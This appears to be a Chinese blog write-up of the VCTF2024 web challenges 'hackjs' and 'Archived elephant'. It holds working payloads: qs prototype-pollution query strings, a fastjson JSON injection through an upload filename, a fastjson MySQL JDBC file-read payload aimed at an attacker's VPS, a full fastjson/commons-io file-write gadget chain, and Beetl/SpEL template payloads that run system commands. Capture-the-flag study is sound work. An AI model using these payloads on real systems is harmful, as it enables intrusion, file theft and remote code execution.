VCTF2024

VCTF2024 –web

前言

web爆零了,纯废物,只会签到

hackjs

大体思路是对的,但具体不知道如何实现

image-20240318185351949

代码很少

检查venom的键长度小于3,venom的welcome为159753,且要进入catch块,并且venom的text为flag

正常情况下是不会异常的,唯一能报异常的地方就是hasOwnProperty

并且express的版本为4.17.2,express@(-∞, 4.17.3)中依赖的qs模块存在数组原型污染漏洞

n8tz/CVE-2022-24999: “qs” prototype poisoning vulnerability ( CVE-2022-24999 ) (github.com)

误区

但是我这里进入异常的方式错了,我的想法是非对象没有hasOwnProperty方法,才会进入catch块

经过本地测试,只有null才行

然后我就理所应当的以为找一个不存在的元素利用它进行原型链污染就行,但实际上Object.keys传入null的话会报错

正解

覆盖hasOwnProperty为任意字符即可抛出异常

venom[text]=flag&venom[welcome]=159753&venom[hasOwnPropert]=1

但是这样的话venom的键的长度为3,不符合条件

这里的话使用__proto__作为键的话是不会算入长度的

但是这里不能使用json进行传输,用json的话__proto__还是会算入长度

并且很怪的是__proto__只能放在第一个才能起作用,放在后面就不行了

venom[__proto__][text]=flag&venom[welcome]=159753&venom[hasOwnProperty]=1

venom[__proto__][welcome]=159753&venom[text]=flag&venom[hasOwnProperty]=1

venom[__proto__][hasOwnProperty]=1&venom[welcome]=159753&venom[text]=flag

image-20240318193031752

image-20240318203645759

image-20240318193017555

真的玄学

Archived elephant

image-20240318194404626

我的简单思路

看的比较晚,给出了些提示

并且结合提示,与ueditor无关,与文件上传也无关

那就只好看依赖了

image-20240318212444378

比较熟悉的是fastjson+commons-io能够写文件 (但我竟然忘记了fastjson+mysql,后面再说

然后fileupload的版本太高,上传的文件不能控制

虽然没思路,继续看代码,看看提示的BaseState

image-20240318213050995

很明显,放入key和value

但是一直找不到JSON.parseObject,反编译的文件又不能搜索字符串

最后终于找到

image-20240318213629264

我的思路就到这,如何控制参数也没分析出来

正文

ActionEnter#invoke方法调用了state#toJSONString,可以看到当ActionMapUPLOAD_FILE(文件上传)操作时会触发 Uploader#doExec

image-20240321194359350

conf中设置isBase64为false

image-20240321194506223

在Uploader#doExec()中就进入else语句

image-20240321194536647

image-20240321194820075

可以看到originFileName是由上传表单的filename控制的,值得注意的一点是程序(仅仅)校验了后缀名,这很好绕过。令filenamefilename=flag","vulnerable":"hacked","a":".txt即可绕过检测。最终把originFileName放进BaseState

image-20240321194915156

我都不会本地测试(呜呜呜

值得注意的一点是json的第一个属性"state":"SUCCESS“是不可控的,可能不太了解fastjson利用的师傅看到这里就绝望了,因为网上的payload都是@Type作为第一个属性开头的呀。其实这里一个小trickfilenameflag",{"@type":"java.net.Inet4Address","val":"bgb5eh.ceye.io"},"a":".txt即可正常恢复Java Bean

。。。。我也不了解fastjson

非预期

如何利用JSON.parseObject呢,看到以来中有fastjson+mysql,版本符合存在漏洞

但不能进行jdbc反序列化,版本好像超了,尝试也没成功

网上经过别人实测,fastjson只能打mysql的5.1.11-5.1.48(反序列化链)、6.0.2/6.0.3(反序列化)、8.0.19(反序列化链)

所以理论和实际都说明了不能打反序列化链

但是可以任意文件读取

看一下打反序列化的payload

{ "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "127.0.0.1", "portToConnectTo": 3306, "info": { "user": "yso_CommonsBeanutils1_calc", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" }, "databaseToConnectTo": "dbname", "url": "" }

可以看出info中的属性,其实就是一般jdbc连接中携带的参数

我们把他修改为任意文件读取要的参数即可

{"@type":"java.lang.AutoCloseable","@type":"com.mysql.jdbc.JDBC4Connection","hostToConnectTo":"你的vps-ip","portToConnectTo":3308,"databaseToConnectTo":"test","info":{"allowUrlInLocalInfile":"true","allowLoadLocalInfile":"true","allowLoadLocalInfileInPath":"/","maxAllowedPacket":"655360","user":"fileread_file:///","NUM_HOSTS":"1"}}

把这段内容拼接到分析的filename中

image-20240321195325259

image-20240321180119976

image-20240321180207365

预期

预期的话就是我熟悉的fastjson+common-io写文件

大体的话是覆盖btl文件,写入的内容就是beetl模板注入RCE

先给出最后的覆盖内容,然后再说细节

覆盖/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/templates/test.btl

${@venom.elephantcms.common.WhiteListNativeSecurityManager.test('org.springframework,java.beans,venom.elephantcms')}

第二次文件写入覆盖/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/templates/upload.btlRCE即可。

//写入内容
${@java.beans.Beans.instantiate(null,parameter.a).parseExpression(parameter.b).getValue()}

//使用
/upload?a=org.springframework.expression.spel.standard.SpelExpressionParser&b=new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()).next()

开始说明

这是fastjson+common-io写文件的poc

{
  "@type":"java.lang.AutoCloseable",
  "@type":"org.apache.commons.io.input.XmlStreamReader",
  "is":{
    "@type":"org.apache.commons.io.input.TeeInputStream",
    "input":{
      "@type":"org.apache.commons.io.input.ReaderInputStream",
      "reader":{
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String""aaaaaa"   //长度应大于8192
      },
      "charsetName":"UTF-8",     
      "bufferSize":1024
    },
    "branch":{
      "@type":"org.apache.commons.io.output.WriterOutputStream",
      "writer": {
        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
        "file": "/tmp/pwned",
        "encoding": "UTF-8",
        "append": false
      },
      "charset": "UTF-8",     //键名为charset或charsetName即可
      "bufferSize": 1024,
      "writeImmediately": true
    },
    "closeBranch":true
  },
  "httpContentType":"text/xml",
  "lenient":false,
  "defaultEncoding":"UTF-8"
}

第一点是fastjson调用构造函数存在随机性,而WriterOutputStream恰好有一堆很相似的构造函数,所以在构造的时候需要注意WriterOutputStream构造方法的第二个属性是charsetcharsetName,如果属性名称错误会报Exception in thread "main" com.alibaba.fastjson.JSONException: create instance error, null, public

public WriterOutputStream(Writer writer, Charset charset, int bufferSize, boolean writeImmediately) {
    this(writer, charset.newDecoder().onMalformedInput(CodingErrorAction.REPLACE).onUnmappableCharacter(CodingErrorAction.REPLACE).replaceWith("?"), bufferSize, writeImmediately);
}

public WriterOutputStream(Writer writer, String charsetName, int bufferSize, boolean writeImmediately) {
    this(writer, Charset.forName(charsetName), bufferSize, writeImmediately);
}

解决方法在上面的poc的注释中

第二点是该方法(应该)仅支持绝对路径文件写入,MiscCodec中限制了相对路径写入。不过题目给出docker所以选手到时候看docker里的模板路径就可以了。如果难度不够的话绝对路径这部分可以当个考点。

else if (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) {
	if (clazz == File.class) {
    	if (strVal.indexOf("..") >= 0 && !FILE_RELATIVE_PATH_SUPPORT) {
        	throw new JSONException("file relative path not support.");
    } else {
        return new File(strVal);
    }

image-20240321183310167

第三点是写不进去双引号",分号;之类的字符。这部分不是任意文件写这条gadget的问题,而是因为ueditor这里的JSON注入是个http请求头中的filename注入,所以写一些奇怪字符会导致http请求出现一些问题。结合beetl语法用parameter.a就能绕过了。后续在访问恶意模板时加个参数?a即可。

这一点确实不知道,没了解过beetl

beetl模板注入RCE的说明

出题人写了一个白名单类,只允许调用venom.elephantcms的方法

image-20240321183547596

但这个类中的test方法允许添加

image-20240321183630491

出题人提到callPattern他故意没写final修饰。

最后理一下

覆盖/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/templates/test.btl

${@venom.elephantcms.common.WhiteListNativeSecurityManager.test('org.springframework,java.beans,venom.elephantcms')}

这是为了beetl模板注入RCE添加白名单

第二次文件写入覆盖/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/templates/upload.btlRCE

//写入内容
${@java.beans.Beans.instantiate(null,parameter.a).parseExpression(parameter.b).getValue()}

//使用
/upload?a=org.springframework.expression.spel.standard.SpelExpressionParser&b=new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()).next()

使用parameter.a就是为了防止http请求出错

不过还有个坑点就是第二步覆盖的模板不能是test.btl了,可能是缓存的原因导致即便写入第二次的payload访问模板还是会执行第一次的payload

再提一下,防止有的人对这个poc不了解产生误区

两个写入的内容并不只有提到的一点,fastjson+common-io写入的长度应大于8192,然后才会截取前8192个字符

所以在写入内容的基础上,我们要往后面填充空格使长度满足要求 (反正exp是这样做的

Venom-WP/2024VenomCTF/2024_vctf_web_archived-elephant/writeup/exp.py at main · ChaMd5Team/Venom-WP (github.com)

给出官方exp,exp中写文件的poc好像有点不一样,不知道

finally

hackjs还是思路太局限了,elephant的话审计代码确实没什么经验,都不好找漏洞点

想审计一下cms了,不管是php的还是java的都想看看,一点经验都没有

想着根据每个cms的RCE开始分析,但不知道啥时候会开始

reference

Venom-WP/2024VenomCTF/2024_vctf_web_archived-elephant/writeup at main · ChaMd5Team/Venom-WP (github.com)

VCTF-archived elephant (ulsteruni.cn)


VCTF2024
https://zer0peach.github.io/2024/03/18/VCTF2024/
作者
Zer0peach
发布于
2024年3月18日
许可协议